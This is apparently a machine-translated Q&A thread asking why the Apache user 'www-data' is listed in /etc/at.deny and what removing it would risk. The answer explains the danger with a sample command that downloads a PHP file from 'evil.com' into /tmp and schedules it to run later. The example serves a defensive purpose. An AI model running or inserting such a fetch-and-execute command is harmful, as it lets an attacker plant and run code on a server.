![为什么“www-data”(Ubuntu / Apache 用户)列在“/etc/at.deny”文件中?](https://linux22.com/image/621354/%E4%B8%BA%E4%BB%80%E4%B9%88%E2%80%9Cwww-data%E2%80%9D%EF%BC%88Ubuntu%20%2F%20Apache%20%E7%94%A8%E6%88%B7%EF%BC%89%E5%88%97%E5%9C%A8%E2%80%9C%2Fetc%2Fat.deny%E2%80%9D%E6%96%87%E4%BB%B6%E4%B8%AD%EF%BC%9F.png)
我有一个 cgi 脚本,在用户访问页面 5-10 分钟后,如果尝试失败,它会重新发送电子邮件。我的想法是使用at
来自 python 调用的命令 ( os.system("at now + 5 minutes <<< ' python resend.py data'")
) 来执行此操作。测试显示:
$ sudo su www-data
$ at now
You do not have permission to use at.
$
如果我从文件中删除用户“www-data”,我会面临什么样的痛苦/etc/at.deny
?
答案1
通过进行提议的更改,您将允许用户 apache 在将来的某个时间以执行作业的方式运行....我不知道这是否可行,但是如果您能够颠覆 Web 服务器以在服务器端执行类似的操作
exec("cd /tmp && wgethttp://evil.com/evil.php&& 稍后 /tmp/evil.php")
这将在稍后执行下载的 php 脚本。
它基本上是一次性的 cron,说实话,我通常会禁用它,而使用 jenkins。